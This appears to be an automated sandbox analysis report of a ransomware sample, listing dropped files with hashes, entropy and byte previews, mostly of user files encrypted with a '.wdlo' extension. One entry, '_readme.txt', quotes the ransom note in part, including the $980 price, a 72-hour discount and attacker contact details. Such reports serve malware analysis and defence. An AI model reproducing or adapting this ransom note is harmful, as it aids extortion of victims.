C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.812016669932715
Encrypted:	false
SSDEEP:	24:g8/0FffGAa/zOtLZM5Tfzycx2h/Q3I2754dHuBdShV9WNa7U7JibkXMUp3zbD:gZff3aqdi5Xycx2hI5LdtNfibop3nD
MD5:	F909378A96A4A258FC3487A2303BF1BC
SHA1:	F7F0EE71CE405CFA2E518AA4C096CAFC7584FBE5
SHA-256:	B6B1210ED39BC7F13F61EF741F2776D80824982BB4C167FFA58D0CA8C0A91E30
SHA-512:	25EDBD433F34A1BA7720DC0237DD0257E5E43201E4B32C5E21A912540C97F602F5B8D83FC4B304F1A0946889A5E3F11764551BD1210560031FD46BA303ADE1E4
Malicious:	false
Preview:	<?xml]....?..]`ke.-.4...U.3...2...).....s...>.Jp....G...&..."h.z....Xvl...5.^..M.2.$..$8..A.#hJ..1f.`....R3;."....-.u.l..y..'..$.%..}...T.>A.~.S.hM..4..'.....X...3G..:Z...YNt........L^dG....=N...li..]......Ya.....W..P.J.Y.........o...A{.Aha....=\|.1...........z..,..Mz.L..nq.X..{.'...]......F......r..T..F.K?;.t5..\|....v4a......3....3....p._H4.V.3.....p..c.......t;...f.M7..'..gt...@..v.h..C>.K7.K........%.......d..A7.3......]a......TG..8o.D@.u$..D.v..NR5...1r.............M,(..%Y(S.#..a..h.......s..4.c....].I. .I:jT....g.j..s.D{m:...8\|.Z.-T.f.].(z......0.`!q@.....r.M..pPl.U.....D..i.a.u.+l..zB:.....TJ.."..@.$.R.b..Z-..$.T.G.n...=....O...%N8.I...L.4.n...eB&$..t...7............S...3,:....w.....87.=Z'..H.. c..!..x..Y.AX..E.d.........@...n2.........Cl.o.......L..^.qR{..GY....I.s.v;..%....b......V..\|...9oN7..+.8Wc;...#u.......>......}.". .a.../..W.M,{.~.k,..F.E73.v.1{...mR.Ch%X...!.d...+...=#....$..l...s..U....%.PHV...r....$!D....^Q..k

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.812016669932715
Encrypted:	false
SSDEEP:	24:g8/0FffGAa/zOtLZM5Tfzycx2h/Q3I2754dHuBdShV9WNa7U7JibkXMUp3zbD:gZff3aqdi5Xycx2hI5LdtNfibop3nD
MD5:	F909378A96A4A258FC3487A2303BF1BC
SHA1:	F7F0EE71CE405CFA2E518AA4C096CAFC7584FBE5
SHA-256:	B6B1210ED39BC7F13F61EF741F2776D80824982BB4C167FFA58D0CA8C0A91E30
SHA-512:	25EDBD433F34A1BA7720DC0237DD0257E5E43201E4B32C5E21A912540C97F602F5B8D83FC4B304F1A0946889A5E3F11764551BD1210560031FD46BA303ADE1E4
Malicious:	false
Preview:	<?xml]....?..]`ke.-.4...U.3...2...).....s...>.Jp....G...&..."h.z....Xvl...5.^..M.2.$..$8..A.#hJ..1f.`....R3;."....-.u.l..y..'..$.%..}...T.>A.~.S.hM..4..'.....X...3G..:Z...YNt........L^dG....=N...li..]......Ya.....W..P.J.Y.........o...A{.Aha....=\|.1...........z..,..Mz.L..nq.X..{.'...]......F......r..T..F.K?;.t5..\|....v4a......3....3....p._H4.V.3.....p..c.......t;...f.M7..'..gt...@..v.h..C>.K7.K........%.......d..A7.3......]a......TG..8o.D@.u$..D.v..NR5...1r.............M,(..%Y(S.#..a..h.......s..4.c....].I. .I:jT....g.j..s.D{m:...8\|.Z.-T.f.].(z......0.`!q@.....r.M..pPl.U.....D..i.a.u.+l..zB:.....TJ.."..@.$.R.b..Z-..$.T.G.n...=....O...%N8.I...L.4.n...eB&$..t...7............S...3,:....w.....87.=Z'..H.. c..!..x..Y.AX..E.d.........@...n2.........Cl.o.......L..^.qR{..GY....I.s.v;..%....b......V..\|...9oN7..+.8Wc;...#u.......>......}.". .a.../..W.M,{.~.k,..F.E73.v.1{...mR.Ch%X...!.d...+...=#....$..l...s..U....%.PHV...r....$!D....^Q..k

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.857650004477442
Encrypted:	false
SSDEEP:	24:K7pT4dODoHw4gsneQcLYRlkSrpx8l+jW63DhJ05aJsZfm7powtYJ43zbD:opVDoQ4gseQc8RvxTfDL0IJsNmxtYK3D
MD5:	13E6586489D24C52EB90CE6F7A01EA5A
SHA1:	CE2D926D139AF431685F13ED31AAE590CE19D7A2
SHA-256:	CCE9BC42B68A1822037D628542660BD129B02A135ACC50DA563BA2A56B6F8737
SHA-512:	3F78BE317C3F8E40601E90C8F4AE5D515DD0D50ABB72DE7F98832EF00587DD7CA7315398C30EE109234311169A7B6385F36D70F10F6A92701A1A7EB541BCB654
Malicious:	false
Preview:	L....4z..g[..R/..<n.uD......C0....%. ..=....8......n.}.{..=y....#....H.PI[R^..M..?.n._."D.GI..R...._c.........R..#.`.0i.O.`(.u.Hm...g+.yrW....G.\...N.5.?...&..0$..d-n...N[.y.....e.........!#.<x...F\|B\|Q].#._..+...&i(H...............d...<4U...,o.a....W.<.j...P.Q.w....y,{.N..(X.Y..^)T..k...Zc.}....F..]R.+..\|.{.Q'6.zgHK9...gVCEw.a8..0~.LD.Y..<4.M.S.....u.cx...){8..O..z..Q..!C.E3..I..S......d.Z\|E}B...qla..~.h..H.G:gV......U.........2.EY.R...[."..Y#%..V..~najj.}...H.JB..!.fq..eq.....[...)....f.=...f....G@c..E^U.F_..7c.R..l.hH. #...x...nc...Q.c...! ....a...Q..O.....c.r....J...w(~._..@y..Z6.BLc_..J.#Lq...J....6.v......TY.q,.....n\...e..`..M..F......$.a.?..\|..?..,.b@[..!...7.......^....4........'.h.\|wH.E.....}9.ES...9.hAk.Z.o`.........l.(..c.]..S.x.K..\....iQ.nx.....,..)\|.h~..@..JS[.}.......E..<...K.....f....O.z.:.t.8....2....bH.s_Q......H....`=]\|.t...m.,.dY...n..9y.w.SF...O.V.,."Xd.>Z.n..L.....J<....*a..J.....Y.t...@.W.H...q.a...d.w}.

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.155579765248746
Encrypted:	false
SSDEEP:	6:vDj384cidyZTUgronRwE/vHiiL0EpMMGX30MdOsVolWbz6Wcii96Z:vX384cBbomyvHiiL02G1n36Wcii9a
MD5:	DCC1BAC307AD13F8A8A7E66EE1D419FB
SHA1:	9D1FC7AEBAC3A187ABF319799D964FDB2FD1C2C6
SHA-256:	EB097C688AE3B71B900EEBB6F17449DC7F8C80005925ECAB98E90A4E9281D2AA
SHA-512:	54541CD5ED7BA294308A458D4B402C017CBC149401F725ADFAECB743B230EF908A1328B6D46704116FC22FC3B98BD028842514821D5D19FC1269531407EE05A0
Malicious:	false
Preview:	deskt...-=.+...;...8X....e.^p...e..)...e..x=.0...H..Z.B.9........M.......jx.a2....D.\|.5..;......J...L/.8t.j....."..A.%....h$...10.Sj..9xl6.J.F.......r.H......d...`.._....J.DF.u{<.#M.aM (..Y......P%.G.\|.D..).mH.S.MS^...Baa.&....&..-^.\|}....jr..u...Q...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	5196
Entropy (8bit):	7.965916721530415
Encrypted:	false
SSDEEP:	96:spGN4I1QapLH8AT2BbXCgRtRvPpDBHqsUueCrDRr/MqgvSK1MQMhFf9F:sBaZcATOzBvNNUCPRbMVAVnfb
MD5:	48C8DF80CEBE07F31B5B039E783A87AA
SHA1:	B4BC35D1AB02D782C1D03979856E82FDE5799DC6
SHA-256:	11A695330F4D568DCCF8F616305D85C2EB1CBFCB04564BA69E219CED8EEBC4A4
SHA-512:	0120A7EAF89536E878408C66F63EBD0DF284206CB8DB6D1E5044907865AF4BD2D768FD901B5D114C44859BC226228E88C9E941FEFF80504F63573021E70A3892
Malicious:	false
Preview:	.{.XP.P ..}.Bg...q.Ah.;,.-l..I.._'.......6@.\|E.?.....V..F...8........qr.......qt.b..q..x..T...P^..8n.e.....S..3...@...7.b....W...<9B1FY..~..Z~u.7E...{..#}...z......j...o..U.>..j$.I.(.......)..../i..3.e......Q.-..8.../<..&O6oM...q}..{<......`.l.zS.M..#...Y{.)r.N&.8....j....-.x..H...I....I..'[1Q...a.9..>=.._f!:`.=#.7.\\|.O?C.?zA.OA.i.(.....^....SU..V.._.Ii...f.....%....t.p..a."w...?.l..S.\:zE.>6.V-!..L<r..Mi.=...p...+..4u..Q.:.B...}.i......E<.(.k.j.....[.Ln.....(G.KHm.q...o...u..T_.<....."..eR....6.]..I....h.B1..As....ZD.....8[..;9[7Y....eU._/...Y..y....2..X..c.xIL..\|c..m&.........i.....;..RyT..V.P....6..YG..].C:;..$z ....n.G.....d.^......go.wE..t.<.P[.e..\|<cyRZ..@...Qv....~..-...ha5J....,.,.M..0.(.W~^.L.:(...(....B.T......&-.T$.$(....<..\|\.....W..x@..O.dD.c...^v6F..03....dN...........h. Q2...;.}].x#....F.}....o....5:.v...?q..:....d..{.a .!......../on..4V.{.8m..>V^.......L.7b3s..f.N....._.Sl..~.L.5'bk.2.<..d.k.,P;....T...D~2L..n.

C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.829060810103711
Encrypted:	false
SSDEEP:	24:YqJklMNh3VXD3OWB8UoyjpIbdY7bl9ihSEigsebx3zbD:xeMNh5OZtb8l9ihSTYx3nD
MD5:	D11E245FD21032ECE6839E18BB8B4F36
SHA1:	5E8AB275A3703A5561FA28F7BC43DB1F1EBF3B7E
SHA-256:	7682DBDDD47FC5FB3D032FFF31E0285E461D2A0BABCDDB1CE3A0821449125AA5
SHA-512:	45D2DBAC8B52E415A8EA1BE1A0EDC43493BBDFC9C7FA7DEE700636962C5C589AFCDD0DC4277AB0EFF190AC800F0CA2CECE14681421239491AD2B704CC6005660
Malicious:	false
Preview:	....C .".L:^.\|."..oi..!.$.Y..h.U.".....\|...F...@....x....C..............2s.......%c^.....M...`e..P.....LvN.tX.'.:.F'9._.+7..m..6.cC.=8%a%T1-nC....&.vf."KR.!.4.>7.Y.....r..T..?...#N..!K.\.j...q..DI..A.2>X...mQ>..c..\....'..._.z8......d.D,..v-.wpI!..e..../.."...Qn.............u..a$.>bx..@..WA....ADeI......c.x]W.H?.E........".....K@.l.&z...C\\...\....q..E.<.Y.......;.Cj$..1E.WQ.]E.....D.l.iSt.L..za.%p.}..H.C...P .ZE..=D._z......x..Z....'CFW..s.i...i..w)..`.r..K...ig3.....^j.[.t&{....qh.+.6.n.^. ....J,.c.P-g.../.Z.AC...O.4..\Z3.#%...J....V.V9X.........(L0...7T.......x.E.........b..0....k..t=el..(..%.:.G:.Kq.#....).g....Y..YO#>.........u.].^$c....q..0J^..&....;.v.t)'...\|.rt..........jO......L./>6.R..!4..1.....9..0{.[8.......^.../.;..&.X...6.q....SD.....(.].W3V ..O.\|@...\|.;~..............=d;....a...,...q.(-.<.GEA..(.m1..IJS...cv...c.\|...+[..LZ.2y..C.6...1...*..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones.cdp

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.83733661627492
Encrypted:	false
SSDEEP:	24:kzM/qffrUMJCnQ0fjEC2onpeTCRQW7ks4afLKZJ/tM2w0Oc/z93zbD:j/S0fjjkqJ7ks/fub/tMsZb93nD
MD5:	70A06781A83A4C3E72855C20FBF3561E
SHA1:	BFFAEF95167414C1F4325FC6139F873FB7A9EF0F
SHA-256:	DBE20DC06CADF8EDC75EBA0C4A8F439BFEEBFAC565BFF701B123A84F940CAD59
SHA-512:	432807A742146F247B0BE39CC5FA47FE6889B44A4DBA9240EA7DCA2F924F0062CFBD3A62B63DDBB8E1055EEC6ABC793436DB83C17D544AC632D8A94E648FC966
Malicious:	false
Preview:	.{...1.....-.8fr.............h.]...'.B.3o..d#4!....=g..}....L...+.).A.'.:..6UC..>.n1GbNM_....:.4 ...4...{...\\K$..q........s<.......C.Q....Y.J.,...V3..L9GwAVk.T%...-.+h...n..G..q].\|[.."....4.'i....6.k..Uw..G...,....v.NpS.,...w2p?.L......Jc6.^N.-..).5...w..^Y..7~.9.N..T......ifZ.i..I.t.,3)...^...._......,...9..=...7..~fU....,.[..._2.{F.q....cGQe_.ym....e"..&..[.3...?.6...35T,41._.y....f.9.6.P$7t.\|...`..!x....mD...........r(.....}e.e.KO.=..Q..Q.......~....D..:9G...?.......Sq.\Y....Q...v.+...Is....(Q.?..b....k.....qcK...).H.(5...AQ..."...y.&..s....].k0....C..).3b.PUO...-."..O......E.%...y.$..3....).'..%. .pr.E+.......\|.VN.....Q^....B...&..<.,.u.s.J`S+...;r...=ub....}Y..".v.F.2.[.F..../....;.5Z.Po..\|%..%g.`....g...5.n.v...HH....y.C...C.8...Y.N..o....?.K..zM.lL...}Z....'y.y@.....%......;....g..}.......:.dg.y.J.U\|#F.s./.PMQf.w......)f.b.d.!....H[1...r.B.V.f...^.?..L.+.(..MP.....%J;f...J.......8@`;q..p.Tt....!Q`T.~e.!..GEqIo.o.JD....Q.O.S.-...

C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones.cdpresource

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.373353548292556
Encrypted:	false
SSDEEP:	12:sUJQzxcKzKj9cQjcelqmcZioT36Wcii9a:pJScKwc0vcD3zbD
MD5:	98773E0190BDACDF5B06787284190A51
SHA1:	8DA00FBEC15E0C5BB0888879DC8223D610FC4148
SHA-256:	3BF3C87ED5798ABF3D44AC04CEEA7F9FCF019A450D9D11E5FDB6779697E93D33
SHA-512:	9E42B4AD2EF7A4760A699ADE67211947599CAD142C1DCBDF276779086CFD952E1FFCDE79FB9903861FA2DA5A85B9F76C0D483F90C5627CF48981BC4E2E624813
Malicious:	false
Preview:	.{....#..JT-.{'. :.%D..}....tvW....R..[d..}..i......h.mY.qOp.9n..p..C..[DR.).q....4y.@..mK..0`....t0S.....x.?....Og......Ok.6!..C...A..E.$U.S..Q.....B.f.4.P........4I~GH\|.).1...g.I....!..3..._-i....G..V.>..<..}(..S.M..Q(eQ.>7<..(....]>.....Y3#.....0.\|.........#L..x..Vg._....@"L...P."K...+..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	25159
Entropy (8bit):	7.993106642322606
Encrypted:	true
SSDEEP:	768:/Qy2t+phs25l1XKe87RcfoiYYwhleIvMYbnaO:hZVAGQXTfeHO
MD5:	1F9E43C73D3CF670098C43FDCF91F8B0
SHA1:	6D5B6C21C71AE7FCBAB758CD3CF1CD6D046D4886
SHA-256:	B52BACE0D24B52182BB53DA5E4FF047DB9694213656B00DB77511E16DD633DA9
SHA-512:	4DECCA8962249342800CA828C8022A8B88EDEBC078103E1A77B02D35AF33B5E6572F4237B942EA9C9488A8ABAEEFDE3B04B3A45DF82F21064794CD522952B054
Malicious:	true
Preview:	H...W...9.....-..M..p......g2.....c...glU.`3...9..4...^..^....3<..r..[8..=.D.Iq8....P.}........F..u...j4.n]....(.3%.vm....a..s...... G.6..Z..X.A..#J...<..!3..C...i_...Wa.."$hB.@....[.n........I.q2.9..lo.P.jfW.........1gD.4Y..69....H..5;.......VLi{I...,....@.\|'..QpSb.vG<_.".....u....$.].......?...4.o.J...]....?N.r.1.4....h4vfO..E.0...%y..k....a.(...!..C..f.'._y.9.S.y".-..R_....E..<0.(].....lO....}o.iF$.Q..=.`'z.Y..W.be'?.....N.V..v.%..2.......k.9....Z.....h!.............E.r..2u....-f."%..*..b"..[...../\...C_..\pF.....]mX..+M.N[t}..........U..U.(...N..8.Z.. .s$.....C....p..L..#..;Df<....oQp..q...'.......e.....bdF.....U..I{.MT..WXa.u.fY..N..g.km......b.K.G.Xe.Z....T..[....%;...K../}.h...w.;K<-..~.j.B]!..8..J.Ul...0.k...;.]V..~....X1....>.+..n...t..w@)&....6{......a....<e....q.4.... .K.N..ot..dh..+K..j.Z).H...[.ak..[.(bH.z....o..M..)W...g.6!&...E,.>M...l.q.\.......S.x\|.8H.P9.......a...."7..I-y...~.{p&....2;....\|5, U1.(..l.S{6.":.UQ.a&...TGD.c.![..

C:\Users\jones\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991734583242642
Encrypted:	true
SSDEEP:	768:8SYf3yggF+JlyxPkgp4QOwF+J8zyu+4nxvlwBgq9n:83CggF+DyRdp4QOwc8zyu+4nx+p
MD5:	0DAE4230549799E5D9D20352A61E050A
SHA1:	DBF0ACB21AD4B91A2DCE430090B3A4AD227A5730
SHA-256:	BBEFB2C2AD40BD2F7905A3C7098BB3794356B18BFCE52699232FC02CE06FA565
SHA-512:	69C9025347CF7A86F7E1EC90DE1CE16C569AE787DF392AF6758809627D018E040C73BC47E13186298F77F845A47EEB7F808AB931D91B9C669F91BDC7BAB215DF
Malicious:	true
Preview:	SQLit#*z.c{..9\.]......Zg]_:]<z.G'...#......j..q.s.ud9b..8.n._g..d.Q....L,...v....@.....4.....).4--l5.!.za.h.u.0..@WT_.....o...4....bUF.'.=.._N#..........w...V...c.Xv...`.<j.bl.0..G...q..D...'..H.y...X...7.\..f..fs..e.V6....t.vs..t.....g.'.f..E..H...q.p.....wfbz..z.......L'..C.<.].-b#...-y...&..4....Ez.@p..<.b...V....+.@.d''...}...W. 0.=]...a.ni.O......1........Gd=V.H]l.1H.q.8........I.j:`jr.n.m...K...... f.P..rpB...%..d....j...Gxx.V0.."...\....J..5...J.....]x..to`._<...].f...v..sT.6.asR= 7.(.@to...).L.]...$Z..J(.r.....-r.3.\|.t..Xmg/..b3...e..:..j.......U..f.&t..M..A.i..../...)P.($.$...[.@...h..1....x..t..'.Z....j...-..w%..... x....;..q3.....d...\".]+.....g.0x.ZT.'<$.gR..k!..%:.y..6......K\|.B............j.d....5>.q...].xF...L..C.X..oU.%...I.z...J..(.?.>C.ywi.\iU0Y.l...I..k.{.0..Wm...LII....l...?..$R4G7q..<...(Dd.k..1..z......0Fr.zH[IX........%4.I.$L{.0<+p..L..Y.3.....#.O.^<T..+.U....@.61.[...u.-..../.zd0hO..Exo.gXC.v...:a.T.....t%

C:\Users\jones\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997350005945081
Encrypted:	true
SSDEEP:	768:V5vZz3w+GY310cw3mDoq3DdrqaflciOqox9X+mN+MWTSZhX3v7CnohvZCiY5ba3W:hBGrcIA3DAafG1rQMPD3DKohx0tWSB/P
MD5:	44EF827EF45D03F4CC97F92A801A9AA6
SHA1:	3751E760C002C719875BE9ADA28DC5475633BFB3
SHA-256:	998004491BE61E265DC1273B4306D36FD6B37794E718E9FD4257D0176C2C883F
SHA-512:	D11B48DE9D635ADC4FFB54AFDE828C02D70C9DD3905467CFE3786B1EE40B4DFE379FA4301CAD9CA438014A9F53083439FA16FB7C9232426F52E7CC4A41F7B944
Malicious:	true
Preview:	1G.f..@.d2@...1.9...:.-j.R/\|!.s.S.9s.....!x.!.......w..=...yU.'`....y..{..h...7......BB.~E..<~o...NC[<.>...~....E...,#)....m...4.].A.n.UA......@...@..6.t....N.)..!7f....qF.....1..m-..\|d....^....j.i.....<...Z1].k1"....\gY...c...?...].W..2.%.j.2j+...+.J....d..M.r.j./.A...8 Dc>1h.]V.....Z...MMg.g.`.V........B.5=.h.....$F...R=.G..H@..@....d........i.se.vQ........7...[V.2.{...C4.+.s..d..A..d>...[K.............:.........~.x.i.y.cCv.B..5......A..?R&..N=e....i...D..I'..n..r.{.......6..-.yG.m.Y.~..'Lc....lB.X.Z.e...). ........g_.I..~..8.....w......L....T.).Q[_!Z.G<.3\|.>..uu.iOo.@....j..\|...\|`.a.....f.c.l.qi..n.3........Yl..?c}.t....P.p.e....#.l.w.).4..'.MVH.b..j....v\p...B..?....c.~.F.@H.q".@p.8....d..{.o^[....j....T...oCh.@..6V...L.........6.2-...Gex....c....@......\|.....5...a...V!.t.2.~/....`.>.(.`..6..x.. .l.<...m..fUSw#.i...hA]....{)...Av..t..'t%?z....j.%...7YQ..@..q.8..e.c...pO...)..{C....o.E....Z...$0..0=...X.".........r..] ..bF.

C:\Users\jones\AppData\Local\Temp\AdobeARM.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	4358
Entropy (8bit):	7.947389962083618
Encrypted:	false
SSDEEP:	96:ov1WELceYbCcKm+E2YuMRX6RX7dOAy+jf03i3doMwsOtCFRA:ecrbCcaE2K6M+4i3mdsO8FO
MD5:	5DAE9DB9BE2BEFB2F2C90E3343A48B28
SHA1:	C3BAC614C4B37D4D02D970D15FFEE5D002A94E5E
SHA-256:	C829F815D9081B61229B5BFC641C775A9BAE8FF0BA0500635EE695C70AFC9796
SHA-512:	4B455927033AB23882BE6B8BB33E7694E82AF492DC718EF20725FB99107F03F483A416E8C07189E7F1C2752B6877158994165439FACB7A12FE24669D2C0F014E
Malicious:	false
Preview:	[2023r.EM..A.im2)..bm.a....]M.i.9....jnp..I.U.Vz^...._...U.q.&M...!...C+.y.\-@...`.Af...R.b..[6f.....%a...vr....S..I....5..J.0A...a._..E4..(...h...&I......x...._.B...W..;......3.,.x.>.W....,=-@T53UieTs...M....~......-...eM*H.f..'8..e.?.i......6E...0.o..%...$h:.B...v.S.6_.._H.3KiQ..3H,?...M....C....N.......P...\....o....O....te..........0....o...J%..-..U..+.s....`=59.T...T......4O....KQ.8RS.M.msd]...h>hV....;....x..<p..W.g...#L.,Ms.2.......y.Cq.l...~.......4.....YL..2.n...l.k.0.>wO~J..3\..e_.3....."..N.....ASs).8D.,;.mj\|.{%.!..7..%..1.Y..n........(......W....{......C...x.......qV..a41.Tr....Q..1[>s.F.s.].Y.D!K......8..$..(S...V.....I.PT.i.8.\|:.0..-H..h..Hj. .3.D...S....ie....b.u.e[.(..i1'.w ...ck...rK...0..;.....(......<.R.1<.[.>.-.=.vsr.J.c..o.......]..C.^.......^}......N..6.5.lu...OM1B.K .]S.N..}...X.a...O8m.^c..%"..,..._K]..R.HNaV.[.......k(..qi...nf4:.N..."...w..A.h.-.l3.[.#;[.v1.......Hw.......T".b.....!4....w%S...l..C.....v6..

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	42850
Entropy (8bit):	7.995220419640907
Encrypted:	true
SSDEEP:	768:THgfhyKv5HrH0zp3lB7JI0R8so5VB2hWd6GF1BmgCkuUKY7fYHH:THgfhTv5LH0zp/7mq8soLBi7GFqgw/Jn
MD5:	58FCE0E3A9DB7D477DE57CE490D1AD5E
SHA1:	DEB6A6BEAB4979600864B2E6E7E7B9FBDBE6E0BE
SHA-256:	A24CAD193B662814A4E9937DE9BDB8F9FA219E50440A34C0F67450E7CF405209
SHA-512:	3F427E7BEE0D9F93481CBAA07CC4D410403058B724FA803539DE76AA9EA12D4548CA66094A06374F242C080950DABCEDEFD20FA02AF10734FFFD4CFB756D8FAB
Malicious:	true
Preview:	..T.i..........f.^....H.-...1>.W...X...i^=.&Rc.....R>.A..\..^m...nj.)!U.9.B.D.v.n.:....}.v....f2N?<@t.h=i.dN...i..,.WQ.5+a..R..#..+....o.b.....@.YF..#...e.7.}.~.4.,_..#.z.1.e0'.@.....gVZ.&.>..x...0..`^........B...t..Q4...`...A...PR..l...v..l....'.L.>.Z..\|..H..J..;.3.d.'...?f.c.J>..^.2...Mm....CkIo........V;...'......Y..I..[lol.3WG63K.R..H...?.2..u....m...).T..=..f..[....u..?.>..k...G3..}x..T=.a..=.W....c..a....R.....XH`..l..Z._.8<{l..bX[.KS.sU.$1.]...t..b.&j\M..'.0...=8:..h...S.q.`... ......O;._.......q..E.w...^.^.jE7q^.f..q.)..x(..c..03..$MN_m.."-....M...P>H}^<..xH#....:8i.....bD\|>..S.N......Y......4w..0!.%....V.Q.L..s-.......\|%.![6..a.L)d...0.:.%.r.<.?bxg......[..hP....9.....k..F\S.4...9..q.^w....C..Y7..k!3.....\|.K#i...P...;..#.H..y..GPM.7.CiA.N.......Wx......$...a.G..1k[........e....u..MRR..k.g.........i...'....?"..^E.E.z...u:p_L.N...+....f.v..}H.[J......@....`.......s..8oU..w.~..`.c.O.z]..e.A.........2.Lx.n..i`....D. 1.....'....v.

C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258a.log

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	462288
Entropy (8bit):	5.8506474483978845
Encrypted:	false
SSDEEP:	3072:W0NyAc9KsonXjnM4qbCEvznss0LU+oHdM9ZE25j4f+ZEFGcrkujtNKkxY9y:W0cMs2XCSY+oqD3KmKFGcrV
MD5:	5C111D87D7D561793416EC885AF6F07D
SHA1:	EFD6D2B59A973EEF42153B6553B42A9387B1300A
SHA-256:	EBAF4B7451FD7D092F7E3F9F2EB39B919599EB3F163EC66AC9D4E1BFC5094257
SHA-512:	B59BE7255EF57061534F61EBAD66D9E242E01D382E5194A5BB056A0604A32C6A9BB8EE4BA7A67A7DC512A9814577094116A58B218C2108764319E1B164B16451
Malicious:	false
